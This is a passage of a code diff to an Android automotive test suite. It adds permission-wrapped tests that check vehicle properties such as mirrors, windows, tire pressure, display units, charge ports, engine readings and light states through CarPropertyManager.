+ VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorZPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Z_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorZMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Z_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorYPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Y_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorYMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Y_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorLockIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_LOCK,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE, Boolean.class)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testMirrorFoldIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_FOLD,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE, Boolean.class)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testWindowPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testWindowMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testWindowLockIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_LOCK,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
}
@Test
public void testDistanceDisplayUnitsIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setPossibleConfigArrayValues(
- DISTANCE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
- mCarPropertyManager);
+ adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+ "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ DISTANCE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(
+ mCarPropertyManager);
+ });
}
@Test
public void testFuelVolumeDisplayUnitsIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setPossibleConfigArrayValues(
- VOLUME_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
- mCarPropertyManager);
+ adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+ "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ VOLUME_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(
+ mCarPropertyManager);
+
+ });
+ }
+
+ @Test
+ public void testTirePressureIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_TIRES=*/
+ "android.car.permission.CAR_TIRES", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TIRE_PRESSURE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).requireMinMaxValues().setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+ "TIRE_PRESSURE Float value"
+ + " at Area ID equals to "
+ + carPropertyValue.getAreaId()
+ + " must be greater than or equal 0").that(
+ (Float) carPropertyValue.getValue()).isAtLeast(
+ 0)).build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testCriticallyLowTirePressureIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_TIRES=*/
+ "android.car.permission.CAR_TIRES", () -> {
+ VehiclePropertyVerifier.newBuilder(
+ VehiclePropertyIds.CRITICALLY_LOW_TIRE_PRESSURE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+ Float.class).setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> {
+ int areaId = carPropertyValue.getAreaId();
+
+ assertWithMessage(
+ "CRITICALLY_LOW_TIRE_PRESSURE Float value"
+ + "at Area ID equals to" + areaId
+ + " must be greater than or equal 0")
+ .that((Float) carPropertyValue.getValue()).isAtLeast(0);
+
+ CarPropertyConfig<?> tirePressureConfig =
+ mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.TIRE_PRESSURE);
+
+ if (tirePressureConfig == null
+ || tirePressureConfig.getMinValue(areaId) == null) {
+ return;
+ }
+
+ assertWithMessage(
+ "CRITICALLY_LOW_TIRE_PRESSURE Float value"
+ + "at Area ID equals to" + areaId
+ + " must not exceed"
+ + " minFloatValue in TIRE_PRESSURE")
+ .that((Float) carPropertyValue.getValue()).isAtMost(
+ (Float) tirePressureConfig
+ .getMinValue(areaId));
+ }).build().verify(mCarPropertyManager);
+ });
}
@Test
public void testTirePressureDisplayUnitsIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setPossibleConfigArrayValues(
- PRESSURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
- mCarPropertyManager);
+ adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+ "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+ VehiclePropertyVerifier.newBuilder(
+ VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ PRESSURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(
+ mCarPropertyManager);
+
+ });
}
@Test
public void testEvBatteryDisplayUnitsIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setPossibleConfigArrayValues(
- BATTERY_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
- mCarPropertyManager);
+ adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+ "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ BATTERY_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(
+ mCarPropertyManager);
+
+ });
}
@Test
public void testVehicleSpeedDisplayUnitsIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Integer.class).setPossibleConfigArrayValues(
- SPEED_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
- mCarPropertyManager);
+ adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+ "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+ VehiclePropertyVerifier.newBuilder(
+ VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ SPEED_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(
+ mCarPropertyManager);
+ });
}
@Test
public void testFuelConsumptionUnitsDistanceOverTimeIfSupported() {
- VehiclePropertyVerifier.newBuilder(
- VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Boolean.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_VENDOR_EXTENSION, () -> {
+ VehiclePropertyVerifier.newBuilder(
+ VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
}
@Test
@@ -793,22 +1139,24 @@
@Test
public void testFuelDoorOpenIfSupported() {
- VehiclePropertyVerifier.newBuilder(
- VehiclePropertyIds.FUEL_DOOR_OPEN,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Boolean.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_ENERGY_PORTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_DOOR_OPEN,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
}
@Test
public void testEvChargePortOpenIfSupported() {
- VehiclePropertyVerifier.newBuilder(
- VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Boolean.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_ENERGY_PORTS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
}
@Test
@@ -900,11 +1248,13 @@
@Test
public void testEvChargeSwitchIfSupported() {
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_SWITCH,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
- Boolean.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_ENERGY, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_SWITCH,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
}
@Test
@@ -942,28 +1292,1343 @@
@Test
public void testPerfSteeringAngleIfSupported() {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- uiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_READ_STEERING_STATE);
-
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_STEERING_ANGLE,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
- Float.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_READ_STEERING_STATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_STEERING_ANGLE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).build().verify(mCarPropertyManager);
+ });
}
@Test
public void testPerfRearSteeringAngleIfSupported() {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- uiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_READ_STEERING_STATE);
-
- VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE,
- CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
- VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
- CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
- Float.class).build().verify(mCarPropertyManager);
+ adoptSystemLevelPermission(Car.PERMISSION_READ_STEERING_STATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).build().verify(mCarPropertyManager);
+ });
}
+ @Test
+ public void testEngineCoolantTempIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+ "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_COOLANT_TEMP,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testEngineOilLevelIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+ "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_OIL_LEVEL,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+ "ENGINE_OIL_LEVEL Integer value must be greater than or equal"
+ + " 0").that(
+ (Integer) carPropertyValue.getValue()).isAtLeast(
+ 0)).build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testEngineOilTempIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+ "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_OIL_TEMP,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testEngineRpmIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+ "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_RPM,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+ "ENGINE_RPM Float value must be greater than or equal 0").that(
+ (Float) carPropertyValue.getValue()).isAtLeast(
+ 0)).build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testPerfOdometerIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_MILEAGE=*/"android.car.permission.CAR_MILEAGE",
+ () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_ODOMETER,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+ Float.class).setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+ "PERF_ODOMETER Float value must be greater than or equal 0")
+ .that((Float) carPropertyValue.getValue()).isAtLeast(0))
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testTurnSignalStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TURN_SIGNAL_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(TURN_SIGNAL_STATES).build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHeadlightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HEADLIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHighBeamLightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HIGH_BEAM_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testFogLightsStateIfSupported() {
+ adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+ "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FOG_LIGHTS_STATE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+ .setCarPropertyValueVerifier(
+ (carPropertyConfig, carPropertyValue) -> {
+ assertWithMessage(
+ "FRONT_FOG_LIGHTS_STATE must not be implemented"
+ + "when FOG_LIGHTS_STATE is implemented")
+ .that(mCarPropertyManager.getCarPropertyConfig(
